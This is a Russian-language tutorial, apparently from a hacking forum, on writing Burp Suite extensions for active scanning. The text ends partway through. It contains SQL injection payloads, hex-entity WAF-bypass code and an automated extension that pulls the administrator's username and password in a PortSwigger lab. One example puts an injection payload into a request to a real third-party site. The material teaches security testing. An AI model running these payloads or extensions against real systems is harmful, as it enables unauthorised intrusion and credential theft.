What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Свое расширение для Burp. Часть 2: активное сканирование

petrinh1988

Light Weight
Депозит
$0
Если не читали первую часть, рекомендую начать с нее. В ней описал базовую информацию по написанию собственных расширений для BurpSuite и показал реализацию сканера при пассивном режиме. Учитывая, что статья достаточно активно набирает лайки, самое время продолжить, а именно, поговорить про активное сканирование.

В этой статье разберу несколько вариантов того, как расширить стандартные сканеры BurpSuie, дополняя точки инъекции и создавая новые запросы. В конце статьи напишем полностью автоматическое решение одной из лабораторных работ PortSwigger.

Отличия активного сканирования​

Активное сканирование отличается от пассивного тем, что к базовым запросам добавляются собственные, модифицированные. Сканер выходит за рамки тех запросов, которые предусмотрены разработчиками веб-сайтов и приложений, добавляя к ним полезные нагрузки или новые точки входа. Для примера возьму базовый запрос из пассивного сканирования:

Bash: Скопировать в буфер обмена
Code:
GET /_next/static/chunks/114f8b7fb5913e9fb90f8a1ba0e03f7d3c16ebd3.431a757bb7bff2113708.js HTTP/2
Host: www.liverpoolfc.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: ru-RU
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://www.liverpoolfc.com/
Accept-Encoding: gzip, deflate, br

Как будет выглядеть запрос активного сканирования на основе этого запроса? Нужно просто добавить полезную нагрузку. Причем, точкой инъекции может стать любой из элементов запроса. Например, мы можем вместо Referer попытаться отправить SQLi. Каждый элемент пути может быть частью инъекции. Или, например, можно изменить тип запроса с GET на POST или, например, PUT. Добавить данные в тело запроса или параметры и т.д.

Bash: Скопировать в буфер обмена
Code:
GET /_next/static/chunks/114f8b7fb5913e9fb90f8a1ba0e03f7d3c16ebd3.431a757bb7bff2113708.js HTTP/2
Host: www.liverpoolfc.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: ru-RU
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
[B]Referer: ' or '1'='1[/B]
Accept-Encoding: gzip, deflate, br

Все это будет новыми запросами с нашей полезной нагрузкой. Большинство вариантов этих запросов и делает Burp своими стандартными сканерами. Именно этот процесс и называется активным сканированием. Мы же, используя возможности API, можем присоседиться к проводимому сканированию и добавить интересующие нас проверки, путем реализации функции doActiveScan() интерфейса IScannerCheck.

Обогащаем сканирование точками инъекции​

Перед тем, как перейти к добавлению своих запросов через doActiveScan(), стоит сделать небольшую оговорку. Есть и другие варианты добавить запросы, например, добавив точки инъекции к уже существующим запросам, путем реализации интерфейсов IScannerInsertionPointProvider и IScannerInsertionPoint.

Соответственно, IScannerInsertionPoint представляет собой кастомный класс возвращающий информацию о точке инъекции на основе объекта запроса-ответа (подробнее про IHttpRequestResponse в первой части). IScannerInsertionPointProvider это посредник, который реализует функцию getInsertionPoints(). Основная задача этой функции определить, надо ли добавлять кастомные точки в каждом конкретном случае. При необходимости возвращает список новых точек инъекции. BurpSuite, в свою очередь, получая этот список, создает новые запросы.

Подобный подход бывает полезен если Burp не может обойти WAF. Либо, когда надо добавить точки инъекции, которые не видит или не знает Burp.

Как это работает на практике?​

Для примера, возьмем лабораторную работу на PortSwigger «Lab: SQL injection with filter bypass via XML encoding». В лабораторной, запрос остатков в магазинах имеет уязвимый параметр stockId в XML. Но WAF внимательно блюдит атаки.

Для теста активируем лабораторную работу и открываем сайт в браузере BurpSuite. Заходим в любой товар и жмем «Check stocks». Запихиваем запрос в репитер и проверяем, что stockId подвержен SQL Injection.

1722163897953.png



Чтобы успешно выполнить запрос, достаточно перекодировать инъекцию в HEX. Вот как это выглядит на примере расширения Hackvertor
1722167411110.png




Для тренировки, сделаем свой вариант нахождения этой уязвимости. Сначала просто найдем и выведем параметр sockId. Код расширения будет выглядеть так:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender
from burp import IScannerInsertionPointProvider

class BurpExtender(IBurpExtender, IScannerInsertionPointProvider):
def registerExtenderCallbacks(self, callbacks):
        callbacks.setExtensionName('Insertion Point StockId')
        callbacks.registerScannerInsertionPointProvider(StockIdInsertionPointProvider(callbacks))
        print('Extension loaded. Callbacks registered')
        return

class StockIdInsertionPointProvider(IScannerInsertionPointProvider):
    def __init__(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        return
 
    def getInsertionPoints(self, baseRequestResponse):
        stockParameter = self._helpers.getRequestParameter(baseRequestResponse.getRequest(), "storeid")
        if (stockParameter is None):
                return None
        print(stockParameter.getName() + ' ' + stockParameter.getValue())
        return None

В предыдущих примерах, я реализовывал все управляющие интерфейсы в рамках класса BurpExtender. Сейчас решил вынести IScannerInsertionPointProvider в отдельный класс для демонстрации. Таким образом код становится более читаемым.

Чтобы заработал провайдер точек инъекции, достаточно при регистрации коллбэков зарегистрировать наш провайдер callbacks.registerScannerInsertionPointProvider(). В предыдущих примерах регистраторам мы передавали self, т.к. реализовывали все одним классом. Сейчас передаем создание нового объекта.

При регистрации точек инъекций, запуститься выполнение функции getInsertionPoints(). Которая, попытается найти параметр с именем “storeid” в объекте запроса-ответа. Если параметра нет, мы просто прерываем выполнение функции, запрос нам не подходит.. В ином случае, выводим название параметра и его значение. Кстати, данный вывод, для информативности, можно дополнить функцией _printRequestData() из первой статьи.

Переходим на вкладку Proxy, находим POST-запрос остатков в магазине и создаем новое сканирование, правой по POST-запросу.
1722167784494.png




В результате, мы увидим, что среди параметров запроса есть нужный нам, а именно stockid. Правда без какой-либо полезной нагрузки.
1722167806456.png



При желании, можно также вывести и тип запроса при котором срабатывает наш фильтр. В данном случае всегда будет POST, что логично. Строка получения типа запроса:

Python: Скопировать в буфер обмена
method = self._helpers.analyzeRequest(request).getMethod()

Что же, самое время добавить нашу точку инъекции. И, так как мы заранее определили, что необходимо кодировать в hex entity, сразу выполним и эту часть. Открываем в редакторе расширение, которое выводило stockId. Первым делом, соответственно, добавляем импорты в начало файла:

Python: Скопировать в буфер обмена
Code:
from burp import IScannerInsertionPoint
from array import array

Поправим функцию getInsertionPoints(). Нам нужна генерация новых точек инъекции, вместо вывода информации о параметре. Сделать это не сложно, достаточно в return прописать возврат списка точек инъекции. Каждая точка инъекции, это новый объект StockIDInsertionPoint, реализующий класс IScannerInsertionPoint (в следующем шаге этим объектом и займемся):

Python: Скопировать в буфер обмена
return [ StockIDInsertionPoint(self._helpers, self._callbacks, baseRequestResponse, stockParameter.getValue()) ]

Читатели могут быть с разной подготовкой, поэтому уточню, что StockIDInsertionPoint это придуманное мной название для объектов уязвимостей. В данном случае, имя ни на что не влияет. Что касается параметров, которые передаю в конструктор класса — они тоже целиком и полностью зависят от меня. Но, конечно же, с учетом того, что может потребоваться в самом классе. В данном случае, передаются хелперы и коллбэки Burp, передается объект запроса-ответа и начальное значение точки инъекции.

Скелет класса StockIDInsertionPoint, который постепенно наполним:
Python: Скопировать в буфер обмена
Code:
class StockIDInsertionPoint(IScannerInsertionPoint):

    def __init__(self, helpers, baseRequest, baseValue):
        return
    def getInsertionPointName(self):
            return "StockId Hex-entity"

    def getBaseValue(self):
        return self._baseValue

    def buildRequest(self, payload):
            pass

    def getPayloadOffsets(self, payload):      
        pass

    def getInsertionPointType(self):
            return INS_EXTENSION_PROVIDED

def _toHexEntity(self, payload):
pass

Некоторые функции я привел сразу в конечном виде. Функция getInsertionPointName(), как понятно из названия, отдает название точки инъекции Burp.

Тип точки инъекции, у нас так же останется неизменным и будет указывать на создание её в расширении. К слову сказать, INS_EXTENSION_PROVIDED это константа, которая является статической для интерфейса IScannerInsertionPoint, таким образом к ней всегда есть доступ внутри класса. Более того, ваши классы точек инъекции всегда будут возвращать это значение.

Начнем с конструктора:
Python: Скопировать в буфер обмена
Code:
def __init__(self, helpers, callbacks, baseRequestResponse, baseValue):
        self._helpers = helpers
        self._callbacks = callbacks
        self._httpService = baseRequestResponse.getHttpService()
        self._baseRequest = baseRequestResponse.getRequest()
        self._baseValue = self._helpers.urlDecode(baseValue)
        bytesStoreID = self._helpers.stringToBytes('<storeId>')
        self._startPosition = self._helpers.indexOf(self._baseRequest, bytesStoreID, False, 0, len(self._baseRequest)) + 9

В конструкторе запоминаем все нужные нам значения и только _startPostition вычисляем. Это номер символа с которого будет начинаться наш кодированный в hex пэйлоад. Значение будет использоваться в функции getPayloadOffsets(). Дело в том, что для правильной генерации уязвимости, Burp нужно показать где именно находится пэйлоад. Функция getPayloadOffsets() возвращает целочисленный массив с первым и последним символом пэйлоада. Именно их Burp выделит в итоговом запросе. Разберем тело функции:
Python: Скопировать в буфер обмена
Code:
def getPayloadOffsets(self, payload):
        hex_payload = self._toHexEntity(payload)
        start = self._startPosition
        end = start + len(hex_payload)
        return array('i', [start, end])

Первым делом, вызываем вспомогательную функцию этого же класса _toHexEntity(). Это НЕ часть реализации интерфейса IScannerInsertionPoint. Эту функцию придумал я, чтобы не загромождать код одними и теми же строчками.

1722167891746.png



Дело в том, что в пэйлоад попадает начальное значение, например “ or 3256=3256”, а запросе будет “&#x20;&#x6f;&#x72;&#x20;&#x33;&#x32;&#x35;&#x36;&#x3d;&#x33;&#x32;&#x35;&#x36;” Как видно, длинны у них сильно отличаются. Да, здесь можно было не мудрствовать и просто len() умножить на 6, но мы ведь легких путей не ищем?

Дальше просто берем начальную позицию пэйлоада, которую вычислили в конструкторе, добавляем конечную и возвращаем в виде целочисленного массива. Burp, когда найдет уязвимость, вызовет getPayloadOffsets() и красиво все выделит.

Функцию _toHexEntity() я буду вызывать и при построении запроса, вот эта функция:
Python: Скопировать в буфер обмена
Code:
def _toHexEntity(self, payload):
        str_payload = self._helpers.bytesToString(payload)
        hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
        return hex_payload

Так как payload приходит массивом байт, используя хелпер Burp, конвертируем его в строку. Тоже касается и запроса, который мы заблаговременно получили через конструктор.

Наша цель преобразовать пейлоад в hex entity. В отличии от классического hex, где цифра “1” представляется в виде “0x31”, должна выглядеть в формате “&#x31;”. Соответственно, в цикле преобразования, дополнительно к hex и orb произвожу замену “0x” на “&#x”. Все значения соединяю используя точку с запятой и добавляю её в конце, т.к. join() этого не сделает.

Самое интересное происходит в buildRequest(). Внутри функции, мы должны обработать payload и вернуть новый запрос. В BurpSuite запрос представляет собой массив байт [] byte.
Python: Скопировать в буфер обмена
Code:
def buildRequest(self, payload):
        hex_payload = self._toHexEntity(payload)
        str_request = self._helpers.bytesToString(self._baseRequest)      
        new_request = str_request.replace("<storeId>" + self._baseValue + "</storeId>", "<storeId>" + hex_payload + "</storeId>")  
        return self._helpers.stringToBytes(new_request)

Да-да, можно все сделать гораздо лучше, можно корректно работать с XML и т.п. Но здесь речь не о конечном решении, а демонстрация. Мне важнее показать, что по сути запрос это просто строка составленная по определенным правилам и представленная набором байт. А функция buildRequest() это составление строки, в рамках которой можно частично или полностью изменить запрос.Остальные функции, касающиеся запросов или параметров, нужны для упрощения процесса управления запросом, когда это возможно.

Вызвали все ту же _toHexEntity, дальше обычный replace. Остается только превратить строку обратно в массив байт, используя хелпер Burp stringToBytes(). На этом все.

Теперь BurpSuite, когда увидит в запросе storeid, добавит в активное сканирование новые запросы, в которых инъекция будет в hex-entity.

Заново добавляю расширение и запускаю сканирование, выбрав POST-запрос на вкладке Proxy.

Нам нужен кастомный профиль сканирования, поэтому идем в конфигуратор и создаем новый профиль. Главное, чтобы среди тестов были подключены тесты на SQL Injection (выбираем все содержащее SQL) и Extension Generated Issue. В ином случае, Burp не будет находить нашу уязвимость. Все настройки, которые использовал, можно посмотреть на скриншотах.

Внимание! Обязательно сканер должен реагировать на Extension Generated Issue. Если забудете про это, пеняйте на себя! Можно часами или днями искать ошибку в коде. Я так попадался. Запомните: точка инъекции возвращает тип INS_EXTENSION_PROVIDED, сканер должен быть включин на анализ Extension Generated Issue. Берегите нервы.
Нажмите, чтобы раскрыть...

Ура, BurpSuite увидел SQL Injection. Наша точка инъекции отлично работает!

Как видно на скриншотах, все четко подставляется. В ответе видим, что вместо одной позиции, как и предполагает запрос, получили ответ сразу по всем магазинам. Значит наша инъекция работает.

1722167511940.png



Сканер автоматически создает инъекцию. Если бы инъекция была неопределяемой сканером, пришлось бы писать свой детектер.
1722167541183.png


Итоговый кода расширения:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender
from burp import IScannerInsertionPoint
from burp import IScannerInsertionPointProvider
from array import array

class BurpExtender(IBurpExtender, IScannerInsertionPointProvider):
    def registerExtenderCallbacks(self, callbacks):
        callbacks.setExtensionName('Insertion Point StockId')
        callbacks.registerScannerInsertionPointProvider(StockIdInsertionPointProvider(callbacks))
        print('Extension loaded. Callbacks registered')
        return
 
class StockIdInsertionPointProvider(IScannerInsertionPointProvider):
    def __init__(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        return
 
    def getInsertionPoints(self, baseRequestResponse):
        stockParameter = self._detectStoreIdParam(baseRequestResponse)      
        if (stockParameter is None):
            return None

        return [ StockIDInsertionPoint(self._helpers, self._callbacks, baseRequestResponse, stockParameter.getValue()) ]
 
    def _detectStoreIdParam(self, baseRequestResponse):
        request = baseRequestResponse.getRequest()
        stockParameter = self._helpers.getRequestParameter(request, "storeid")
        if (stockParameter is None):
            return None
        return stockParameter
     

class StockIDInsertionPoint(IScannerInsertionPoint):
    def __init__(self, helpers, callbacks, baseRequestResponse, baseValue):
        self._helpers = helpers
        self._callbacks = callbacks
        self._httpService = baseRequestResponse.getHttpService()
        self._baseRequest = baseRequestResponse.getRequest()
        self._baseValue = self._helpers.urlDecode(baseValue)
        bytesStoreID = self._helpers.stringToBytes('<storeId>')
        self._startPosition = self._helpers.indexOf(self._baseRequest, bytesStoreID, False, 0, len(self._baseRequest)) + 9
     
    def getInsertionPointName(self):
        return "StockId-Hex-entity"
 
    def getBaseValue(self):
        return self._baseValue
 
    def buildRequest(self, payload):
        hex_payload = self._toHexEntity(payload)
        str_request = self._helpers.bytesToString(self._baseRequest)      
        new_request = str_request.replace("<storeId>" + self._baseValue + "</storeId>", "<storeId>" + hex_payload + "</storeId>")  
        return self._helpers.stringToBytes(new_request)
 
    def getPayloadOffsets(self, payload):
        hex_payload = self._toHexEntity(payload)
        start = self._startPosition
        end = start + len(hex_payload)
        return array('i', [start, end])
 
    def getInsertionPointType(self):
        return INS_EXTENSION_PROVIDED
 
    def _toHexEntity(self, payload):
        str_payload = self._helpers.bytesToString(payload)
        hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
        return hex_payload

Параметры точки инъекции IParameter​

В примере выше все выполнялось “по тупому” в лоб. Но подобный подход не всегда оправдан. Для управления параметрами в хелперах Burp Extender предусмотрены специальные функции: getRequestParameter(), addParameter(), updateParameter() и removeParameter().

Наверное, наиболее используемыми являются функция получения параметра и обновления. С первой мы уже познакомились, когда реализовывали пример выше. Самое время познакомиться со второй. Заодно разобрав пример с base64, о котором упоминал выше.

Данный пример не мой, но прекрасно подходит для разбора. Суть задачи простая: веб-приложение имеет XSS уязвимость в строке поиска. Данные строки и фильтров кодируются в base64 и в таком виде передаются в переменной "s". Распакованные данные поиска выглядят примерно так:“search=lalalala&param3=blablabla”. Точка инъекции находится, в параметре search. Соответственно, при сканировании, надо декодировать строку base64, найти начало и конец значения search и подменить его на пэйлоад Burp. Думаю, что достаточно понятно объяснил. На всякий случай, ссылка с данными выглядит примерно так:

http://site.com/?s=c2VhcmNoPWxhbGFsYWxhJnBhcmFtMz1ibGFibGFibGE=

Берем скелет из предыдущего расширения и приводим его в нужный вариант. Для начала меняем функцию getInsertionPoints(), которая решает надо ли делать инъекцию. В данном случае, проверяем наличие параметра “s”, если есть создаем точки инъекции:
Python: Скопировать в буфер обмена
Code:
def getInsertionPoints(self, baseRequestResponse):
        sParam = self._helpers.getRequestParameter(baseRequestResponse.getRequest(), "s")
        if (sParam is None):
                return None
            return [ SearchInsertionPoint(self._helpers, baseRequestResponse.getRequest(), sParam .getValue()) ]

Учитывая, что у нас данные заходят, как base64, их нужно декодировать. Кроме того, желательно сразу разобрать входную строку на три части: базовое значение (оно же baseValue, в примерах, оно же стандартное значение), то что идет до значения и то что идет после значения. Зачем? Тогда при формировании точки инъекции, мы возьмем до и после, добавив между ними пэйлоад. А само базовое значение потребуется для возврата в методе getBaseValue(), который подразумевает интерфейс нашей точки инъекции (IScannerInsertionPoint). Надеюсь не запутал)
Python: Скопировать в буфер обмена
Code:
class SearchInsertionPoint(IScannerInsertionPoint):
    def __init__(self, helpers, baseRequest, sValue):
        self._helpers = helpers
        self._baseRequest = baseRequest
        sParam = helpers.bytesToString(helpers.base64Decode(helpers.urlDecode(sValue)))
        start = sParam.find("input=") + 6
        self._insertionBefore = sParam[:start]
        end = sParam.find("&", start)
        if (end == -1):
            end = sParam.length()
        self._baseValue = sParam[start:end]
        self._insertionAfter = sParam[end:]
        return

Вряд ли код требует серьезных пояснений, поэтому сразу перехожу к реализации класса точки инъекции:
Python: Скопировать в буфер обмена
Code:
def getInsertionPointName(self):
        return "Base64 Search Injection"

    def getBaseValue(self):
        return self._baseValue

    def buildRequest(self, payload):
        str_payload = self._helpers.bytesToString(payload)
        input = self._insertionBefore + str_payload + self._insertionAfter
        input = self._helpers.urlEncode(self._helpers.base64Encode(input))
        updated_parameter = self._helpers.buildParameter("s", input, IParameter.PARAM_BODY)
        return self._helpers.updateParameter(self._baseRequest, updated_parameter)


    def getPayloadOffsets(self, payload):
        return None

    def getInsertionPointType(self):
        return INS_EXTENSION_PROVIDED

В buildRequest мы просто собираем вместе три строки и кодируем их в base64. Сам новый запрос создается путем вызова функции хелпера updateParameter(), которая принимает запрос подлежащий изменению (byte []) и обновленный параметр. Параметр создается при помощи специальной функции buildParameter(). Не забудь добавить импорт интерфейса IParameter, чтобы использовать константу PARAM_BODY, указывающую на тип параметра. Кстати, вот доступные типы:
1722168505300.png


Если посмотреть на получившийся код расширения, становится понятно, что скорее всего мы имели дело с POST-запросами, так как параметр относится к телу запроса.

Его величество doActiveScan()​

Я так много времени откладывал работу с функцией doActiveScan(), что может показаться будто она какая-то магическая. Но нет. Это функция, которая работает по аналогии с doPassiveScan(). Разница в двух вещах:

  1. Как следует из названия, вызывается она при активном сканировании
  2. В отличии от doPassiveScan() имеет третий аргумент, который содержит точку инъекции IScannerInsertionPoint. Ту самую, которую разбирали выше.

Внутри функции делаем что хотим, главное на выходе вернуть список уязвимостей или ничего. В целом, делать “что хочу” можно и в doPassiveScan(), но новые запросы сильно нарушают логику. Здесь же предоставляется момент дополнить посланный BurpSuite запрос дополнительной проверкой на основе точке инъекции. Если помните, при реализации точки инъекции, реализовывался метод buildRequest(). При помощи этого метода, в doActiveScan() можно создать новый запрос модифицировав параметры.

Одну и ту же задачу, можно решать разными способами. Поэтому, для примера заново решим задачу с SQL-инъекцией, только в этот раз не будем создавать новую точку инъекции, а используем возможности doActiveScan(). Как и раньше, создаем скелет приложения, который реализует интерфейсы IBurpExtender и IScannerCheck.

Скелет расширения:
Python: Скопировать в буфер обмена
Code:
from burp import IBurpExtender, IScannerCheck, IScanIssue

class BurpExtender(IBurpExtender):
    def registerExtenderCallbacks(self, callbacks):
        callbacks.setExtensionName('SQLi in StockId')
        callbacks.registerScannerCheck(SQLIScannerCheck(callbacks))
        print('SQLi in StockId loaded')

class SQLIScannerCheck(IScannerCheck):
    used = False
    TEST_QUERY = "1 UNION SELECT 'PIPISKA'"

    def __init__(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
 
    def doPassiveScan(self, baseRequestResponse):
        return None
 
    def doActiveScan(self, baseRequestResponse, insertionPoint):

        return None
 
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
       if existingIssue.getIssueName() == newIssue.getIssueName():
           return -1
       return 0

    def _toHexEntity(self, payload):
        str_payload = self._helpers.bytesToString(payload)
        hex_payload = ';'.join([hex(ord(char)).replace('0x', '&#x') for char in str_payload]) + ';'
        return hex_payload

 
class SQLiScanIssue(IScanIssue):
    def __init__(self, httpService, url, httpMessages):
        self._httpService = httpService
        self._httpMessages = httpMessages
        self._url = url      
 
    def getUrl(self):
        return self._url

    def getHttpMessages(self):
        return self._httpMessages

    def getHttpService(self):
        return self._httpService

    def getRemediationDetail(self):
        return None

    def getIssueDetail(self):
        return "SQL injection in XML parameter 'stockId' when injecting parameter in hex-entity encoding"

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueType(self):
        return 0

    def getIssueName(self):
        return "SQLi in StockId XML Parameter"

    def getSeverity(self):
        return "High"

    def getConfidence(self):
        return "Certain"

Учитывая, что определение уязвимости будет производится не стандартным сканером BurpSuite, а нашим кодом, реализуем свой класс уязвимости.

Функцию перевода в hex-entity, без стеснения, спер из прошлого решения.

Переменная “used” нужна для того, чтобы функция отработала один раз. Переменная “TEST_QUERY”, соответственно, хранит тестовый запрос.

Логика работы расширения​

После регистрации нашего сканера BurpSuite будет запускать нашу функцию doActiveScan() при сканировании. Если точнее, после выполнения каждого активного запроса. В параметрах будет объект с запросом и полученным ответом, собранные в один объект. Плюс точка инъекции полезной нагрузки — куда сам сканер BurpSuite помещал данные.

Наше расширение будет проверять тип запроса (нас интересует POST) и имя точки инъекции. Если оно будет соответствовать stockId, мы создадим новый запрос в который поместим нашу полезную нагрузку закодированную в hex-entity. Запрос создается при помощи метода buildRequest(). Когда мы создавали свой класс точки инъекции, мы реализовывали методв buildRequest(). В данном случае, будем использовать стандартный метод, реализованный внутри Burp Extender.

Когда запрос с полезной нагрузкой подготовлен, нужно сообщить сканеру Burp, чтобы он выполнил запрос. Это делается при помощи метода makeHttpRequest() доступного через коллбэки. Результатом работы будет IHttpRequestResponse, на основе которой мы должны решить есть ли уязвимость. Если есть, соответственно, возвращаем объект уязвимости.

Чтобы обнаружить уязвимость, в тексте ответа будем искать ‘PIPISKA’ (да… я все еще взрослый человек). Почему его? Потому что оно прописано в тестовом запросе. По хорошему, мы должны были тестами узнать, что можно возвращать текст, но условия задачи мы знаем заранее.
Python: Скопировать в буфер обмена
Code:
def doActiveScan(self, baseRequestResponse, insertionPoint):
        if self.used:
            return None
        print('Start check')
        requestInfo = self._helpers.analyzeRequest(baseRequestResponse)

        if requestInfo.getMethod() != 'POST':
            return None
        print('Method POST - Ok')
        insertionPointName = insertionPoint.getInsertionPointName()
        print(insertionPointName)
        if insertionPointName == 'storeid':
            print('Insertion point stockId')
            hex_payload = self._toHexEntity(self.TEST_QUERY)
            payload = self._helpers.stringToBytes(hex_payload)
            newRequest = insertionPoint.buildRequest(payload)
            print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest))
            httpService = baseRequestResponse.getHttpService()
            test_attack = self._callbacks.makeHttpRequest(httpService, newRequest)
            response = self._helpers.bytesToString(test_attack.getResponse())
            print(response)          
            if 'PIPISKA' in response:
                httpService = test_attack.getHttpService()
                url = self._helpers.analyzeRequest(test_attack).getUrl()
                return [SQLiScanIssue(httpService, url, [test_attack])]
            self.used = True

        return None

Тестовый запуск показал, что все идет почти так, как надо. Но не совсем. Синим выделен запрос, красным ответ.
1722168710878.png



Фишка в том, что при работе buildRequest(), BurpSuite пытается создать корректный запрос и меняет амперсанд на &amp;. Повлиять на его поведение мы не можем. Поэтому будем костылить. Сначала в запрос, вместо полезной нагрузки, воткнем ‘PIPISKA’. После переведем получившийся байт-массив в строку, сделаем замену и вернем обратно в байты.
Python: Скопировать в буфер обмена
Code:
if insertionPointName == 'storeid':
            print('Insertion point stockId')
            newRequest =  insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
            hex_payload = self._toHexEntity(self.TEST_QUERY)
            newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
            newRequest = self._helpers.stringToBytes(newRequest)
            print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
            httpService = baseRequestResponse.getHttpService()
            test_attack = self._callbacks.makeHttpRequest(httpService, newRequest)
            response = self._helpers.bytesToString(test_attack.getResponse())
            print(response)          
            if 'PIPISKA' in response:
                return [SQLiScanIssue(testHttpService, testUrl, [testAttack])]

Запускаю заново и получаю ожидаемый результат. Наш чекер находит уязвимость и добавляет ее:
1722168746996.png



Выглядит красиво, но если хотите, можно добавить маркировку запроса и ответа. Потребуется всего ничего. Точка инъекции insertinPoint позволяет нам получить координаты маркеров просто вызывав функцию getPayloadOffsets(), передав ей наш пэйлоад. Для разметки ответа, нам нужно найти свою PIPISKA. Координата вхождения это начало разметки, прибавим к ней длину нашей PIPISKA и получим конечную точку.
Python: Скопировать в буфер обмена
Code:
responseMarkers = array('i', [0,0])              
                testResponseByte = testAttack.getResponse()
                responseMarkers[0] = self._helpers.indexOf(testResponseByte, self._helpers.stringToBytes('PIPISKA'), False, 0, len(testResponseByte))
                responseMarkers[1] = responseMarkers[0] + len('PIPISKA')
                markTestAttack = self._callbacks.applyMarkers(testAttack.getResponse(), [insertionPoint.getPayloadOffsets(hex_payload)], [responseMarkers])
                issues.append(SQLiScanIssue(testHttpService, testUrl, [markTestAttack]))

Многоходовочка​


Все круто, но предлагаю попрактиковаться, а именно - решить лабораторную в полностью автоматическом режиме. Заодно создав несколько разных типов ошибок.

gifka_1.gif



Для этого достаточно добавить небольшой кусок кода. Его логика работы простая. Когда мы убедились, что получаем “PIPISKA”, сформировать новый запрос, который будет вытаскивать логин и пароль из таблицы “users”. Дальше нужен GET-запрос страницы логина и последующий парсинг значения CSRF. Завершает эпопею POST-запрос с данными для авторизации.

Тут главное не забыть, что мы возвращаем список ошибок. При этом, в списке могут быть разношерстные ошибки. Поэтому, создам еще один класс с ошибкой, а вместо возврата списка из одной ошибки, буду добавлять ошибки в список issues=[], а в конце верну весь список или ничего.

Еще один интересный момент в том, что нам нужно выполнить POST и GET, при этом сохраняя сессию. В этом нам поможет еще одна замечательная функция toggleRequestMethod(byte[] request). Как понятно из названия, она переключает тип запроса. Работает исключительно с GET и POST.
1722168782735.png



Итак. Найдя PIPISKA, подготовим новый запрос. Полностью по аналогии с первым. В целом, для удобства, вынесу формирование запроса в отдельную функцию:
Python: Скопировать в буфер обмена
Code:
def _requestWithHex(self, baseRequestResponse, insertionPoint, query):
            newRequest =  insertionPoint.buildRequest(self._helpers.stringToBytes('PIPISKA'))
            hex_payload = self._toHexEntity(query)
            newRequest = self._helpers.bytesToString(newRequest).replace('PIPISKA', hex_payload, 1)
            newRequest = self._helpers.stringToBytes(newRequest)
            print('\nNew request:\n\n' + self._helpers.bytesToString(newRequest) + '\n\n')
            httpService = baseRequestResponse.getHttpService()
            return self._callbacks.makeHttpRequest(httpService, newRequest)

Потребуется запрос, которым получим данные по пользователям из базы. Из описания лабораторной понятно, что есть таблица users, а в ней лежат username и password. В том числе, пользователя administrator. Запрос кладу в переменную ATTACK_QUERY. Изменения в коде выглядят следующим образом:
Python: Скопировать в буфер обмена
Code:
...
    ATTACK_QUERY = "1 UNION SELECT username || '~' || password FROM users"
    ...
    def doActiveScan(self, baseRequestResponse, insertionPoint):
            ...
            if 'PIPISKA' in testResponse:
                print('Attack!')
                testHttpService = testAttack.getHttpService()
                testUrl = self._helpers.analyzeRequest(testAttack).getUrl()
                issues.append(SQLiScanIssue(testHttpService, testUrl, [testAttack]))

                attack = self._requestWithHex(baseRequestResponse, insertionPoint, self.ATTACK_QUERY)
                attackResponse = self._helpers.bytesToString(attack.getResponse())
                print(attackResponse)
                creds = re.search('(adm.*)~(.*)', attackResponse)
                if not creds:
                    print("Can't find credentials")
                    return issues          
                login = creds.group(1)
                password = creds.group(2)
                print('\nGot database credentials ' + login + ' ' + password)
                attackHttpService = attack.getHttpService()
                attackUrl = self._helpers.analyzeRequest(attack).getUrl()
                issues.append(DBCredsScanIssue(attackHttpService, attackUrl, [attack], login, password))
    ...
В крайней строчке добавляю обнаруженные данные как отдельную ошибку. Пора бы добавить сам класс ошибки. В конце файла пишем код, который будет выглядеть следующим образом:

Python: Скопировать в буфер обмена
Code:
class DBCredsScanIssue(IScanIssue):
    def __init__(self, httpService, url, httpMessages, login, password):
        self._httpService = httpService
        self._httpMessages = httpMessages
        self._url = url
        self._login = login
        self._password = password
   
    def getUrl(self):
        return self._url

    def getHttpMessages(self):
        return self._httpMessages

    def getHttpService(self):
        return self._httpService

    def getRemediationDetail(self):
        return None

    def getIssueDetail(self):
        return "Login: " + self._login + " Password: " + self._password

    def getIssueBackground(self):
        return None

    def getRemediationBackground(self):
        return None

    def getIssueType(self):
        return 0

    def getIssueName(self):
        return "DB Creds"

    def getSeverity(self):
        return "High"

    def getConfidence(self):
        return "Certain"

Все как и раньше, только через конструктор запоминаем login и password, которые возвращаем в деталях ошибки. Добавлю только, что подобный подход (две разных ошибки на один скан) нужно хорошо продумать, чтобы корректно прописать обнаружение дублей в consolidateDuplicateIssues()

Данные для входа получаю при помощи регулярного выражения. Так как знаю, что логин будет “administrator”, сразу прописываю его начало в регулярку. Отлично! Логин и пароль мы получили, пора переходить к входу в систему от имени администратора. Но! Все не так просто, для логина надо получить CSRF со страницы входа. Поэтому, сделаю GET-запрос к “/login”
